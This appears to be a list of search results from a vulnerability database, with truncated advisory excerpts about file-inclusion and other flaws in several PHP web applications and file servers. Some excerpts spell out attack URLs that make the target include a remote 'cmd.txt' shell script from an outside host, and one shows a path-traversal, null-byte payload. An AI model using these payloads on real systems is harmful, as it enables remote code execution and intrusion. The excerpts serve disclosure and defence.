249 matches found
Re: Jax Petition Book (languagepack) Remote File Include Vulnerabilities
Actually, this can be pretty serious depending on server settings, but an improper example was given. Better one: jaxpetitionbook.php?languagepack=../../someotherallowedfileuploads/myfile.php.gif00 Many servers will have magic quotes on to defeat the null byte, but by no means all. John...
Easy File Sharing Web Server 4 - Remote Information Stealer
Easy File Sharing Web Server 4 - Remote Information Stealer / =================================================================== 0-day Alternative File Stream Exploit for Easy File Share Server 4 =================================================================== Exploit allows malicious users t...
vistabb2x.txt
--Security Report-- Advisory: VistaBB http://site/vistabbpath/includes/functionsmoduser.php?phpbbrootpath=FILE EXAMPLE - http://site/vistabbpath/includes/functionsmoduser.php?phpbbrootpath=http://yoursite.com/cmd.txt? EXAMPLE -...
integramodInclude.txt
--Security Report-- Advisory: Integramod Portal http://site/integramodpath/includes/functionsportal.php?phpbbrootpath=FILE EXAMPLE - http://site/integramodpath/includes/functionsportal.php?phpbbrootpath=http://yoursite.com/cmd.txt? EXAMPLE -...
[Full-disclosure] Advisory: Integramod Portal <= 2.x File Inclusion Vulnerability
--Security Report-- Advisory: Integramod Portal = 2.x File Inclusion Vulnerability --- Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI --- Date: 24/08/06 03:00 AM --- Contacts: ICQ: 10072 MSN/Email: [email protected] Web: http://www.nukedx.com --- Vendor: Integramod http://www.integramod.co...
Kerberos configuration
This plugin lets a user enter information about the Kerberos server that will be queried by some scripts SMB and SSH to log into the remote hosts. TRUSTED...
PHP Form Mail 2.3 Arbitrary File Inclusion
No description provided by source. Example: if registerglobals=on and allowurlfopen=on: http://victim/dir/inc/formmail.inc.php?scriptroot=http://hackerbox/ milw0rm.com 2005-03-05...
EmuLive Server4 - Authentication Bypass / Denial of Service
source: https://www.securityfocus.com/bid/11226/info Reportedly EmuLive Server4 is affected by an authentication bypass vulnerability and a denial of service vulnerability. These issues are due to an access validation issue and a failure to handle exceptional conditions. An attacker may leverage...
